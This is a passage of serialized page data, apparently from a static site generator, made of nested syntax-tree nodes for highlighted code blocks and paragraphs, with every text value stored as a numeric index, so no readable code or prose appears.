,"props":97587,"children":97588},{"style":1266},[97589],{"type":29,"value":11095},{"type":23,"tag":75,"props":97591,"children":97592},{"style":94},[97593],{"type":29,"value":118},{"type":23,"tag":75,"props":97595,"children":97596},{"class":77,"line":5227},[97597,97601],{"type":23,"tag":75,"props":97598,"children":97599},{"style":110},[97600],{"type":29,"value":11107},{"type":23,"tag":75,"props":97602,"children":97603},{"style":94},[97604],{"type":29,"value":118},{"type":23,"tag":75,"props":97606,"children":97607},{"class":77,"line":5259},[97608,97612],{"type":23,"tag":75,"props":97609,"children":97610},{"style":110},[97611],{"type":29,"value":11119},{"type":23,"tag":75,"props":97613,"children":97614},{"style":94},[97615],{"type":29,"value":118},{"type":23,"tag":75,"props":97617,"children":97618},{"class":77,"line":5315},[97619,97623],{"type":23,"tag":75,"props":97620,"children":97621},{"style":110},[97622],{"type":29,"value":11131},{"type":23,"tag":75,"props":97624,"children":97625},{"style":94},[97626],{"type":29,"value":118},{"type":23,"tag":75,"props":97628,"children":97629},{"class":77,"line":5328},[97630,97634],{"type":23,"tag":75,"props":97631,"children":97632},{"style":110},[97633],{"type":29,"value":11119},{"type":23,"tag":75,"props":97635,"children":97636},{"style":94},[97637],{"type":29,"value":118},{"type":23,"tag":75,"props":97639,"children":97640},{"class":77,"line":5336},[97641,97645],{"type":23,"tag":75,"props":97642,"children":97643},{"style":110},[97644],{"type":29,"value":11592},{"type":23,"tag":75,"props":97646,"children":97647},{"style":94},[97648],{"type":29,"value":118},{"type":23,"tag":75,"props":97650,"children":97651},{"class":77,"line":5344},[97652],{"type":23,"tag":75,"props":97653,"children":97654},{"style":94},[97655],{"type":29,"value":7152},{"type":23,"tag":75,"props":97657,"children":97658},{"class":77,"line":5352},[97659],{"type":23,"tag":75,"props":97660,"children":97661},{"style":94},[97662],{"type":29,"value":369},{"type":23,"tag":32,"props":97664,"children":97665},{},[97666,97667,97672],{"type":29,"value":11615},{"type":23,"tag":71,"props":97668,"children":97670},{"className":97669},[],[97671],{"type":29,"value":9365},{"type":29,"value":11622},{"type":23,"tag":64,"props":97674,"children":97675},{"code":11625},[97676],{"type":23,"tag":71,"props":97677,"children":97678},{"__ignoreMap":7},[97679],{"type":29,"value":11625},{"type":23,"tag":32,"props":97681,"children":97682},{},[97683],{"type":29,"value":11635},{"type":23,"tag":64,"props":97685,"children":97686},{"code":11638,"language":373,"meta":7,"className":374,"style":7},[97687],{"type":23,"tag":71,"props":97688,"children":97689},{"__ignoreMap":7},[97690,97701,97716,97739,97762,97769,97776,97783,97798,97813,97840,97863,97882,97897,97932,97939,97974,97981,98000,98015,98050,98057,98092,98099,98126,98137,98148,98159,98170,98181,98192,98203,98210,98217,98224,98231,98246,98261,98288,98311,98330,98345,98380,98387,98422,98429,98448,98463,98498,98505,98540,98547,98574,98585,98596,98607,98618,98629,98640,98651,98658],{"type":23,"tag":75,"props":97691,"children":97692},{"class":77,"line":78},[97693,97697],{"type":23,"tag":75,"props":97694,"children":97695},{"style":82},[97696],{"type":29,"value":2869},{"type":23,"tag":75,"props":97698,"children":97699},{"style":94},[97700],{"type":29,"value":2874},{"type":23,"tag":75,"props":97702,"children":97703},{"class":77,"line":100},[97704,97708,97712],{"type":23,"tag":75,"props":97705,"children":97706},{"style":110},[97707],{"type":29,"value":9722},{"type":23,"tag":75,"props":97709,"children":97710},{"style":209},[97711],{"type":29,"value":1193},{"type":23,"tag":75,"props":97713,"children":97714},{"style":1266},[97715],{"type":29,"value":9731},{"type":23,"tag":75,"props":97717,"children":97718},{"class":77,"line":121},[97719,97723,97727,97731,97735],{"type":23,"tag":75,"props":97720,"children":97721},{"style":110},[97722],{"type":29,"value":11676},{"type":23,"tag":75,"props":97724,"children":97725},{"style":209},[97726],{"type":29,"value":1193},{"type":23,"tag":75,"props":97728,"children":97729},{"style":1266},[97730],{"type":29,"value":11685},{"type":23,"tag":75,"props":97732,"children":97733},{"style":11688},[97734],{"type":29,"value":11691},{"type":23,"tag":75,"props":97736,"children":97737},{"style":1266},[97738],{"type":29,"value":11696},{"type":23,"tag":75,"props":97740,"children":97741},{"class":77,"line":138},[97742,97746,97750,97754,97758],{"type":23,"tag":75,"props":97743,"children":97744},{"style":110},[97745],{"type":29,"value":11704},{"type":23,"tag":75,"props":97747,"children":97748},{"style":209},[97749],{"type":29,"value":1193},{"type":23,"tag":75,"props":97751,"children":97752},{"style":1266},[97753],{"type":29,"value":11685},{"type":23,"tag":75,"props":97755,"children":97756},{"style":11688},[97757],{"type":29,"value":11717},{"type":23,"tag":75,"props":97759,"children":97760},{"style":1266},[97761],{"type":29,"value":11696},{"type":23,"tag":75,"props":97763,"children":97764},{"class":77,"line":161},[97765],{"type":23,"tag":75,"props":97766,"children":97767},{"style":94},[97768],{"type":29,"value":653},{"type":23,"tag":75,"props":97770,"children":97771},{"class":77,"line":196},[97772],{"type":23,"tag":75,"props":97773,"children":97774},{"emptyLinePlaceholder":15},[97775],{"type":29,"value":276},{"type":23,"tag":75,"props":97777,"children":97778},{"class":77,"line":220},[97779],{"type":23,"tag":75,"props":97780,"children":97781},{"emptyLinePlaceholder":15},[97782],{"type":29,"value":276},{"type":23,"tag":75,"props":97784,"children":97785},{"class":77,"line":248},[97786,97790,97794],{"type":23,"tag":75,"props":97787,"children":97788},{"style":82},[97789],{"type":29,"value":512},{"type":23,"tag":75,"props":97791,"children":97792},{"style":88},[97793],{"type":29,"value":10751},{"type":23,"tag":75,"props":97795,"children":97796},{"style":94},[97797],{"type":29,"value":97},{"type":23,"tag":75,"props":97799,"children":97800},{"class":77,"line":270},[97801,97805,97809],{"type":23,"tag":75,"props":97802,"children":97803},{"style":110},[97804],{"type":29,"value":9637},{"type":23,"tag":75,"props":97806,"children":97807},{"style":104},[97808],{"type":29,"value":638},{"type":23,"tag":75,"props":97810,"children":97811},{"style":94},[97812],{"type":29,"value":118},{"type":23,"tag":75,"props":97814,"children":97815},{"class":77,"line":279},[97816,97820,97824,97828,97832,97836],{"type":23,"tag":75,"props":97817,"children":97818},{"style":110},[97819],{"type":29,"value":9649},{"type":23,"tag":75,"props":97821,"children":97822},{"style":94},[97823],{"type":29,"value":611},{"type":23,"tag":75,"props":97825,"children":97826},{"style":110},[97827],{"type":29,"value":10131},{"type":23,"tag":75,"props":97829,"children":97830},{"style":94},[97831],{"type":29,"value":439},{"type":23,"tag":75,"props":97833,"children":97834},{"style":104},[97835],{"type":29,"value":9151},{"type":23,"tag":75,"props":97837,"children":97838},{"style":94},[97839],{"type":29,"value":118},{"type":23,"tag":75,"props":97841,"children":97842},{"class":77,"line":303},[97843,97847,97851,97855,97859],{"type":23,"tag":75,"props":97844,"children":97845},{"style":94},[97846],{"type":29,"value":596},{"type":23,"tag":75,"props":97848,"children":97849},{"style":110},[97850],{"type":29,"value":1779},{"type":23,"tag":75,"props":97852,"children":97853},{"style":94},[97854],{"type":29,"value":439},{"type":23,"tag":75,"props":97856,"children":97857},{"style":104},[97858],{"type":29,"value":9151},{"type":23,"tag":75,"props":97860,"children":97861},{"style":94},[97862],{"type":29,"value":193},{"type":23,"tag":75,"props":97864,"children":97865},{"class":77,"line":322},[97866,97870,97874,97878],{"type":23,"tag":75,"props":97867,"children":97868},{"style":110},[97869],{"type":29,"value":10252},{"type":23,"tag":75,"props":97871,"children":97872},{"style":209},[97873],{"type":29,"value":633},{"type":23,"tag":75,"props":97875,"children":97876},{"style":88},[97877],{"type":29,"value":9955},{"type":23,"tag":75,"props":97879,"children":97880},{"style":94},[97881],{"type":29,"value":97},{"type":23,"tag":75,"props":97883,"children":97884},{"class":77,"line":340},[97885,97889,97893],{"type":23,"tag":75,"props":97886,"children":97887},{"style":94},[97888],{"type":29,"value":10847},{"type":23,"tag":75,"props":97890,"children":97891},{"style":104},[97892],{"type":29,"value":9151},{"type":23,"tag":75,"props":97894,"children":97895},{"style":94},[97896],{"type":29,"value":118},{"type":23,"tag":75,"props":97898,"children":97899},{"class":77,"line":349},[97900,97904,97908,97912,97916,97920,97924,97928],{"type":23,"tag":75,"props":97901,"children":97902},{"style":110},[97903],{"type":29,"value":10863},{"type":23,"tag":75,"props":97905,"children":97906},{"style":94},[97907],{"type":29,"value":557},{"type":23,"tag":75,"props":97909,"children":97910},{"style":88},[97911],{"type":29,"value":9992},{"type":23,"tag":75,"props":97913,"children":97914},{"style":94},[97915],{"type":29,"value":643},{"type":23,"tag":75,"props":97917,"children":97918},{"style":88},[97919],{"type":29,"value":679},{"type":23,"tag":75,"props":97921,"children":97922},{"style":94},[97923],{"type":29,"value":643},{"type":23,"tag":75,"props":97925,"children":97926},{"style":110},[97927],{"type":29,"value":9862},{"type":23,"tag":75,"props":97929,"children":97930},{"style":94},[97931],{"type":29,"value":10013},{"type":23,"tag":75,"props":97933,"children":97934},{"class":77,"line":363},[97935],{"type":23,"tag":75,"props":97936,"children":97937},{"style":94},[97938],{"type":29,"value":7152},{"type":23,"tag":75,"props":97940,"children":97941},{"class":77,"line":656},[97942,97946,97950,97954,97958,97962,97966,97970],{"type":23,"tag":75,"props":97943,"children":97944},{"style":110},[97945],{"type":29,"value":9983},{"type":23,"tag":75,"props":97947,"children":97948},{"style":94},[97949],{"type":29,"value":557},{"type":23,"tag":75,"props":97951,"children":97952},{"style":88},[97953],{"type":29,"value":10037},{"type":23,"tag":75,"props":97955,"children":97956},{"style":94},[97957],{"type":29,"value":643},{"type":23,"tag":75,"props":97959,"children":97960},{"style":110},[97961],{"type":29,"value":9946},{"type":23,"tag":75,"props":97963,"children":97964},{"style":94},[97965],{"type":29,"value":611},{"type":23,"tag":75,"props":97967,"children":97968},{"style":110},[97969],{"type":29,"value":9862},{"type":23,"tag":75,"props":97971,"children":97972},{"style":94},[97973],{"type":29,"value":653},{"type":23,"tag":75,"props":97975,"children":97976},{"class":77,"line":705},[97977],{"type":23,"tag":75,"props":97978,"children":97979},{"emptyLinePlaceholder":15},[97980],{"type":29,"value":276},{"type":23,"tag":75,"props":97982,"children":97983},{"class":77,"line":787},[97984,97988,97992,97996],{"type":23,"tag":75,"props":97985,"children":97986},{"style":110},[97987],{"type":29,"value":10948},{"type":23,"tag":75,"props":97989,"children":97990},{"style":209},[97991],{"type":29,"value":633},{"type":23,"tag":75,"props":97993,"children":97994},{"style":88},[97995],{"type":29,"value":9955},{"type":23,"tag":75,"props":97997,"children":97998},{"style":94},[97999],{"type":29,"value":97},{"type":23,"tag":75,"props":98001,"children":98002},{"class":77,"line":826},[98003,98007,98011],{"type":23,"tag":75,"props":98004,"children":98005},{"style":94},[98006],{"type":29,"value":10847},{"type":23,"tag":75,"props":98008,"children":98009},{"style":104},[98010],{"type":29,"value":9151},{"type":23,"tag":75,"props":98012,"children":98013},{"style":94},[98014],{"type":29,"value":118},{"type":23,"tag":75,"props":98016,"children":98017},{"class":77,"line":834},[98018,98022,98026,98030,98034,98038,98042,98046],{"type":23,"tag":75,"props":98019,"children":98020},{"style":110},[98021],{"type":29,"value":10863},{"type":23,"tag":75,"props":98023,"children":98024},{"style":94},[98025],{"type":29,"value":557},{"type":23,"tag":75,"props":98027,"children":98028},{"style":88},[98029],{"type":29,"value":9992},{"type":23,"tag":75,"props":98031,"children":98032},{"style":94},[98033],{"type":29,"value":643},{"type":23,"tag":75,"props":98035,"children":98036},{"style":88},[98037],{"type":29,"value":679},{"type":23,"tag":75,"props":98039,"children":98040},{"style":94},[98041],{"type":29,"value":643},{"type":23,"tag":75,"props":98043,"children":98044},{"style":110},[98045],{"type":29,"value":10131},{"type":23,"tag":75,"props":98047,"children":98048},{"style":94},[98049],{"type":29,"value":10013},{"type":23,"tag":75,"props":98051,"children":98052},{"class":77,"line":881},[98053],{"type":23,"tag":75,"props":98054,"children":98055},{"style":94},[98056],{"type":29,"value":7152},{"type":23,"tag":75,"props":98058,"children":98059},{"class":77,"line":3355},[98060,98064,98068,98072,98076,98080,98084,98088],{"type":23,"tag":75,"props":98061,"children":98062},{"style":110},[98063],{"type":29,"value":9983},{"type":23,"tag":75,"props":98065,"children":98066},{"style":94},[98067],{"type":29,"value":557},{"type":23,"tag":75,"props":98069,"children":98070},{"style":88},[98071],{"type":29,"value":10037},{"type":23,"tag":75,"props":98073,"children":98074},{"style":94},[98075],{"type":29,"value":643},{"type":23,"tag":75,"props":98077,"children":98078},{"style":110},[98079],{"type":29,"value":10072},{"type":23,"tag":75,"props":98081,"children":98082},{"style":94},[98083],{"type":29,"value":611},{"type":23,"tag":75,"props":98085,"children":98086},{"style":110},[98087],{"type":29,"value":10131},{"type":23,"tag":75,"props":98089,"children":98090},{"style":94},[98091],{"type":29,"value":653},{"type":23,"tag":75,"props":98093,"children":98094},{"class":77,"line":3390},[98095],{"type":23,"tag":75,"props":98096,"children":98097},{"emptyLinePlaceholder":15},[98098],{"type":29,"value":276},{"type":23,"tag":75,"props":98100,"children":98101},{"class":77,"line":3423},[98102,98106,98110,98114,98118,98122],{"type":23,"tag":75,"props":98103,"children":98104},{"style":110},[98105],{"type":29,"value":11067},{"type":23,"tag":75,"props":98107,"children":98108},{"style":209},[98109],{"type":29,"value":633},{"type":23,"tag":75,"props":98111,"children":98112},{"style":110},[98113],{"type":29,"value":6604},{"type":23,"tag":75,"props":98115,"children":98116},{"style":94},[98117],{"type":29,"value":557},{"type":23,"tag":75,"props":98119,"children":98120},{"style":88},[98121],{"type":29,"value":9613},{"type":23,"tag":75,"props":98123,"children":98124},{"style":94},[98125],{"type":29,"value":97},{"type":23,"tag":75,"props":98127,"children":98128},{"class":77,"line":3436},[98129,98133],{"type":23,"tag":75,"props":98130,"children":98131},{"style":1266},[98132],{"type":29,"value":12093},{"type":23,"tag":75,"props":98134,"children":98135},{"style":94},[98136],{"type":29,"value":118},{"type":23,"tag":75,"props":98138,"children":98139},{"class":77,"line":3449},[98140,98144],{"type":23,"tag":75,"props":98141,"children":98142},{"style":110},[98143],{"type":29,"value":12105},{"type":23,"tag":75,"props":98145,"children":98146},{"style":94},[98147],{"type":29,"value":118},{"type":23,"tag":75,"props":98149,"children":98150},{"class":77,"line":3457},[98151,98155],{"type":23,"tag":75,"props":98152,"children":98153},{"style":110},[98154],{"type":29,"value":11107},{"type":23,"tag":75,"props":98156,"children":98157},{"style":94},[98158],{"type":29,"value":118},{"type":23,"tag":75,"props":98160,"children":98161},{"class":77,"line":3465},[98162,98166],{"type":23,"tag":75,"props":98163,"children":98164},{"style":110},[98165],{"type":29,"value":11119},{"type":23,"tag":75,"props":98167,"children":98168},{"style":94},[98169],{"type":29,"value":118},{"type":23,"tag":75,"props":98171,"children":98172},{"class":77,"line":3473},[98173,98177],{"type":23,"tag":75,"props":98174,"children":98175},{"style":110},[98176],{"type":29,"value":11131},{"type":23,"tag":75,"props":98178,"children":98179},{"style":94},[98180],{"type":29,"value":118},{"type":23,"tag":75,"props":98182,"children":98183},{"class":77,"line":3481},[98184,98188],{"type":23,"tag":75,"props":98185,"children":98186},{"style":110},[98187],{"type":29,"value":11119},{"type":23,"tag":75,"props":98189,"children":98190},{"style":94},[98191],{"type":29,"value":118},{"type":23,"tag":75,"props":98193,"children":98194},{"class":77,"line":3524},[98195,98199],{"type":23,"tag":75,"props":98196,"children":98197},{"style":110},[98198],{"type":29,"value":11154},{"type":23,"tag":75,"props":98200,"children":98201},{"style":94},[98202],{"type":29,"value":118},{"type":23,"tag":75,"props":98204,"children":98205},{"class":77,"line":4890},[98206],{"type":23,"tag":75,"props":98207,"children":98208},{"style":94},[98209],{"type":29,"value":7152},{"type":23,"tag":75,"props":98211,"children":98212},{"class":77,"line":4937},[98213],{"type":23,"tag":75,"props":98214,"children":98215},{"style":94},[98216],{"type":29,"value":369},{"type":23,"tag":75,"props":98218,"children":98219},{"class":77,"line":4950},[98220],{"type":23,"tag":75,"props":98221,"children":98222},{"emptyLinePlaceholder":15},[98223],{"type":29,"value":276},{"type":23,"tag":75,"props":98225,"children":98226},{"class":77,"line":4958},[98227],{"type":23,"tag":75,"props":98228,"children":98229},{"emptyLinePlaceholder":15},[98230],{"type":29,"value":276},{"type":23,"tag":75,"props":98232,"children":98233},{"class":77,"line":4967},[98234,98238,98242],{"type":23,"tag":75,"props":98235,"children":98236},{"style":82},[98237],{"type":29,"value":512},{"type":23,"tag":75,"props":98239,"children":98240},{"style":88},[98241],{"type":29,"value":11198},{"type":23,"tag":75,"props":98243,"children":98244},{"style":94},[98245],{"type":29,"value":97},{"type":23,"tag":75,"props":98247,"children":98248},{"class":77,"line":4975},[98249,98253,98257],{"type":23,"tag":75,"props":98250,"children":98251},{"style":110},[98252],{"type":29,"value":9637},{"type":23,"tag":75,"props":98254,"children":98255},{"style":104},[98256],{"type":29,"value":638},{"type":23,"tag":75,"props":98258,"children":98259},{"style":94},[98260],{"type":29,"value":118},{"type":23,"tag":75,"props":98262,"children":98263},{"class":77,"line":5016},[98264,98268,98272,98276,98280,98284],{"type":23,"tag":75,"props":98265,"children":98266},{"style":110},[98267],{"type":29,"value":9649},{"type":23,"tag":75,"props":98269,"children":98270},{"style":94},[98271],{"type":29,"value":611},{"type":23,"tag":75,"props":98273,"children":98274},{"style":110},[98275],{"type":29,"value":11233},{"type":23,"tag":75,"props":98277,"children":98278},{"style":94},[98279],{"type":29,"value":439},{"type":23,"tag":75,"props":98281,"children":98282},{"style":104},[98283],{"type":29,"value":9151},{"type":23,"tag":75,"props":98285,"children":98286},{"style":94},[98287],{"type":29,"value":118},{"type":23,"tag":75,"props":98289,"children":98290},{"class":77,"line":5025},[98291,98295,98299,98303,98307],{"type":23,"tag":75,"props":98292,"children":98293},{"style":94},[98294],{"type":29,"value":596},{"type":23,"tag":75,"props":98296,"children":98297},{"style":110},[98298],{"type":29,"value":1779},{"type":23,"tag":75,"props":98300,"children":98301},{"style":94},[98302],{"type":29,"value":439},{"type":23,"tag":75,"props":98304,"children":98305},{"style":104},[98306],{"type":29,"value":9151},{"type":23,"tag":75,"props":98308,"children":98309},{"style":94},[98310],{"type":29,"value":193},{"type":23,"tag":75,"props":98312,"children":98313},{"class":77,"line":5033},[98314,98318,98322,98326],{"type":23,"tag":75,"props":98315,"children":98316},{"style":110},[98317],{"type":29,"value":10252},{"type":23,"tag":75,"props":98319,"children":98320},{"style":209},[98321],{"type":29,"value":633},{"type":23,"tag":75,"props":98323,"children":98324},{"style":88},[98325],{"type":29,"value":9955},{"type":23,"tag":75,"props":98327,"children":98328},{"style":94},[98329],{"type":29,"value":97},{"type":23,"tag":75,"props":98331,"children":98332},{"class":77,"line":5041},[98333,98337,98341],{"type":23,"tag":75,"props":98334,"children":98335},{"style":94},[98336],{"type":29,"value":10847},{"type":23,"tag":75,"props":98338,"children":98339},{"style":104},[98340],{"type":29,"value":9151},{"type":23,"tag":75,"props":98342,"children":98343},{"style":94},[98344],{"type":29,"value":118},{"type":23,"tag":75,"props":98346,"children":98347},{"class":77,"line":5050},[98348,98352,98356,98360,98364,98368,98372,98376],{"type":23,"tag":75,"props":98349,"children":98350},{"style":110},[98351],{"type":29,"value":10863},{"type":23,"tag":75,"props":98353,"children":98354},{"style":94},[98355],{"type":29,"value":557},{"type":23,"tag":75,"props":98357,"children":98358},{"style":88},[98359],{"type":29,"value":9992},{"type":23,"tag":75,"props":98361,"children":98362},{"style":94},[98363],{"type":29,"value":643},{"type":23,"tag":75,"props":98365,"children":98366},{"style":88},[98367],{"type":29,"value":679},{"type":23,"tag":75,"props":98369,"children":98370},{"style":94},[98371],{"type":29,"value":643},{"type":23,"tag":75,"props":98373,"children":98374},{"style":110},[98375],{"type":29,"value":9862},{"type":23,"tag":75,"props":98377,"children":98378},{"style":94},[98379],{"type":29,"value":10013},{"type":23,"tag":75,"props":98381,"children":98382},{"class":77,"line":5058},[98383],{"type":23,"tag":75,"props":98384,"children":98385},{"style":94},[98386],{"type":29,"value":7152},{"type":23,"tag":75,"props":98388,"children":98389},{"class":77,"line":5083},[98390,98394,98398,98402,98406,98410,98414,98418],{"type":23,"tag":75,"props":98391,"children":98392},{"style":110},[98393],{"type":29,"value":9983},{"type":23,"tag":75,"props":98395,"children":98396},{"style":94},[98397],{"type":29,"value":557},{"type":23,"tag":75,"props":98399,"children":98400},{"style":88},[98401],{"type":29,"value":10037},{"type":23,"tag":75,"props":98403,"children":98404},{"style":94},[98405],{"type":29,"value":643},{"type":23,"tag":75,"props":98407,"children":98408},{"style":110},[98409],{"type":29,"value":9946},{"type":23,"tag":75,"props":98411,"children":98412},{"style":94},[98413],{"type":29,"value":611},{"type":23,"tag":75,"props":98415,"children":98416},{"style":110},[98417],{"type":29,"value":9862},{"type":23,"tag":75,"props":98419,"children":98420},{"style":94},[98421],{"type":29,"value":653},{"type":23,"tag":75,"props":98423,"children":98424},{"class":77,"line":5108},[98425],{"type":23,"tag":75,"props":98426,"children":98427},{"emptyLinePlaceholder":15},[98428],{"type":29,"value":276},{"type":23,"tag":75,"props":98430,"children":98431},{"class":77,"line":5137},[98432,98436,98440,98444],{"type":23,"tag":75,"props":98433,"children":98434},{"style":110},[98435],{"type":29,"value":11390},{"type":23,"tag":75,"props":98437,"children":98438},{"style":209},[98439],{"type":29,"value":633},{"type":23,"tag":75,"props":98441,"children":98442},{"style":88},[98443],{"type":29,"value":9955},{"type":23,"tag":75,"props":98445,"children":98446},{"style":94},[98447],{"type":29,"value":97},{"type":23,"tag":75,"props":98449,"children":98450},{"class":77,"line":5163},[98451,98455,98459],{"type":23,"tag":75,"props":98452,"children":98453},{"style":94},[98454],{"type":29,"value":10847},{"type":23,"tag":75,"props":98456,"children":98457},{"style":104},[98458],{"type":29,"value":9151},{"type":23,"tag":75,"props":98460,"children":98461},{"style":94},[98462],{"type":29,"value":118},{"type":23,"tag":75,"props":98464,"children":98465},{"class":77,"line":5172},[98466,98470,98474,98478,98482,98486,98490,98494],{"type":23,"tag":75,"props":98467,"children":98468},{"style":110},[98469],{"type":29,"value":10863},{"type":23,"tag":75,"props":98471,"children":98472},{"style":94},[98473],{"type":29,"value":557},{"type":23,"tag":75,"props":98475,"children":98476},{"style":88},[98477],{"type":29,"value":9992},{"type":23,"tag":75,"props":98479,"children":98480},{"style":94},[98481],{"type":29,"value":643},{"type":23,"tag":75,"props":98483,"children":98484},{"style":88},[98485],{"type":29,"value":679},{"type":23,"tag":75,"props":98487,"children":98488},{"style":94},[98489],{"type":29,"value":643},{"type":23,"tag":75,"props":98491,"children":98492},{"style":110},[98493],{"type":29,"value":11233},{"type":23,"tag":75,"props":98495,"children":98496},{"style":94},[98497],{"type":29,"value":10013},{"type":23,"tag":75,"props":98499,"children":98500},{"class":77,"line":5206},[98501],{"type":23,"tag":75,"props":98502,"children":98503},{"style":94},[98504],{"type":29,"value":7152},{"type":23,"tag":75,"props":98506,"children":98507},{"class":77,"line":5214},[98508,98512,98516,98520,98524,98528,98532,98536],{"type":23,"tag":75,"props":98509,"children":98510},{"style":110},[98511],{"type":29,"value":9983},{"type":23,"tag":75,"props":98513,"children":98514},{"style":94},[98515],{"type":29,"value":557},{"type":23,"tag":75,"props":98517,"children":98518},{"style":88},[98519],{"type":29,"value":10037},{"type":23,"tag":75,"props":98521,"children":98522},{"style":94},[98523],{"type":29,"value":643},{"type":23,"tag":75,"props":98525,"children":98526},{"style":110},[98527],{"type":29,"value":11483},{"type":23,"tag":75,"props":98529,"children":98530},{"style":94},[98531],{"type":29,"value":611},{"type":23,"tag":75,"props":98533,"children":98534},{"style":110},[98535],{"type":29,"value":11233},{"type":23,"tag":75,"props":98537,"children":98538},{"style":94},[98539],{"type":29,"value":653},{"type":23,"tag":75,"props":98541,"children":98542},{"class":77,"line":5227},[98543],{"type":23,"tag":75,"props":98544,"children":98545},{"emptyLinePlaceholder":15},[98546],{"type":29,"value":276},{"type":23,"tag":75,"props":98548,"children":98549},{"class":77,"line":5259},[98550,98554,98558,98562,98566,98570],{"type":23,"tag":75,"props":98551,"children":98552},{"style":110},[98553],{"type":29,"value":11067},{"type":23,"tag":75,"props":98555,"children":98556},{"style":209},[98557],{"type":29,"value":633},{"type":23,"tag":75,"props":98559,"children":98560},{"style":110},[98561],{"type":29,"value":6604},{"type":23,"tag":75,"props":98563,"children":98564},{"style":94},[98565],{"type":29,"value":557},{"type":23,"tag":75,"props":98567,"children":98568},{"style":88},[98569],{"type":29,"value":9613},{"type":23,"tag":75,"props":98571,"children":98572},{"style":94},[98573],{"type":29,"value":97},{"type":23,"tag":75,"props":98575,"children":98576},{"class":77,"line":5315},[98577,98581],{"type":23,"tag":75,"props":98578,"children":98579},{"style":1266},[98580],{"type":29,"value":12093},{"type":23,"tag":75,"props":98582,"children":98583},{"style":94},[98584],{"type":29,"value":118},{"type":23,"tag":75,"props":98586,"children":98587},{"class":77,"line":5328},[98588,98592],{"type":23,"tag":75,"props":98589,"children":98590},{"style":110},[98591],{"type":29,"value":12554},{"type":23,"tag":75,"props":98593,"children":98594},{"style":94},[98595],{"type":29,"value":118},{"type":23,"tag":75,"props":98597,"children":98598},{"class":77,"line":5336},[98599,98603],{"type":23,"tag":75,"props":98600,"children":98601},{"style":110},[98602],{"type":29,"value":11107},{"type":23,"tag":75,"props":98604,"children":98605},{"style":94},[98606],{"type":29,"value":118},{"type":23,"tag":75,"props":98608,"children":98609},{"class":77,"line":5344},[98610,98614],{"type":23,"tag":75,"props":98611,"children":98612},{"style":110},[98613],{"type":29,"value":11119},{"type":23,"tag":75,"props":98615,"children":98616},{"style":94},[98617],{"type":29,"value":118},{"type":23,"tag":75,"props":98619,"children":98620},{"class":77,"line":5352},[98621,98625],{"type":23,"tag":75,"props":98622,"children":98623},{"style":110},[98624],{"type":29,"value":11131},{"type":23,"tag":75,"props":98626,"children":98627},{"style":94},[98628],{"type":29,"value":118},{"type":23,"tag":75,"props":98630,"children":98631},{"class":77,"line":5392},[98632,98636],{"type":23,"tag":75,"props":98633,"children":98634},{"style":110},[98635],{"type":29,"value":11119},{"type":23,"tag":75,"props":98637,"children":98638},{"style":94},[98639],{"type":29,"value":118},{"type":23,"tag":75,"props":98641,"children":98642},{"class":77,"line":5400},[98643,98647],{"type":23,"tag":75,"props":98644,"children":98645},{"style":110},[98646],{"type":29,"value":11592},{"type":23,"tag":75,"props":98648,"children":98649},{"style":94},[98650],{"type":29,"value":118},{"type":23,"tag":75,"props":98652,"children":98653},{"class":77,"line":12616},[98654],{"type":23,"tag":75,"props":98655,"children":98656},{"style":94},[98657],{"type":29,"value":7152},{"type":23,"tag":75,"props":98659,"children":98660},{"class":77,"line":12624},[98661],{"type":23,"tag":75,"props":98662,"children":98663},{"style":94},[98664],{"type":29,"value":369},{"type":23,"tag":32,"props":98666,"children":98667},{},[98668],{"type":29,"value":12634},{"type":23,"tag":32,"props":98670,"children":98671},{},[98672,98673,98678],{"type":29,"value":12639},{"type":23,"tag":71,"props":98674,"children":98676},{"className":98675},[],[98677],{"type":29,"value":1847},{"type":29,"value":12646},{"type":23,"tag":32,"props":98680,"children":98681},{},[98682,98683,98688,98689,98694],{"type":29,"value":12651},{"type":23,"tag":71,"props":98684,"children":98686},{"className":98685},[],[98687],{"type":29,"value":12657},{"type":29,"value":12659},{"type":23,"tag":71,"props":98690,"children":98692},{"className":98691},[],[98693],{"type":29,"value":9525},{"type":29,"value":12666},{"type":23,"tag":32,"props":98696,"children":98697},{},[98698,98699,98704,98705,98710],{"type":29,"value":12671},{"type":23,"tag":71,"props":98700,"children":98702},{"className":98701},[],[98703],{"type":29,"value":9596},{"type":29,"value":12678},{"type":23,"tag":71,"props":98706,"children":98708},{"className":98707},[],[98709],{"type":29,"value":12684},{"type":29,"value":1018},{"type":23,"tag":64,"props":98712,"children":98713},{"code":12688,"language":373,"meta":7,"className":374,"style":7},[98714],{"type":23,"tag":71,"props":98715,"children":98716},{"__ignoreMap":7},[98717,98732,98747,98794,98845,98872,98883,98926,98933,98976,99027,99034,99093,99152,99175,99194,99201,99208,99267,99326,99349,99368,99375,99382,99433,99480,99487,99494,99533,99560,99567,99574,99585],{"type":23,"tag":75,"props":98718,"children":98719},{"class":77,"line":78},[98720,98724,98728],{"type":23,"tag":75,"props":98721,"children":98722},{"style":82},[98723],{"type":29,"value":512},{"type":23,"tag":75,"props":98725,"children":98726},{"style":88},[98727],{"type":29,"value":12704},{"type":23,"tag":75,"props":98729,"children":98730},{"style":94},[98731],{"type":29,"value":97},{"type":23,"tag":75,"props":98733,"children":98734},{"class":77,"line":100},[98735,98739,98743],{"type":23,"tag":75,"props":98736,"children":98737},{"style":110},[98738],{"type":29,"value":9637},{"type":23,"tag":75,"props":98740,"children":98741},{"style":104},[98742],{"type":29,"value":638},{"type":23,"tag":75,"props":98744,"children":98745},{"style":94},[98746],{"type":29,"value":118},{"type":23,"tag":75,"props":98748,"children":98749},{"class":77,"line":121},[98750,98754,98758,98762,98766,98770,98774,98778,98782,98786,98790],{"type":23,"tag":75,"props":98751,"children":98752},{"style":94},[98753],{"type":29,"value":12731},{"type":23,"tag":75,"props":98755,"children":98756},{"style":82},[98757],{"type":29,"value":1847},{"type":23,"tag":75,"props":98759,"children":98760},{"style":94},[98761],{"type":29,"value":814},{"type":23,"tag":75,"props":98763,"children":98764},{"style":104},[98765],{"type":29,"value":9542},{"type":23,"tag":75,"props":98767,"children":98768},{"style":94},[98769],{"type":29,"value":1610},{"type":23,"tag":75,"props":98771,"children":98772},{"style":82},[98773],{"type":29,"value":1847},{"type":23,"tag":75,"props":98775,"children":98776},{"style":94},[98777],{"type":29,"value":814},{"type":23,"tag":75,"props":98779,"children":98780},{"style":104},[98781],{"type":29,"value":9559},{"type":23,"tag":75,"props":98783,"children":98784},{"style":94},[98785],{"type":29,"value":1610},{"type":23,"tag":75,"props":98787,"children":98788},{"style":104},[98789],{"type":29,"value":12768},{"type":23,"tag":75,"props":98791,"children":98792},{"style":94},[98793],{"type":29,"value":193},{"t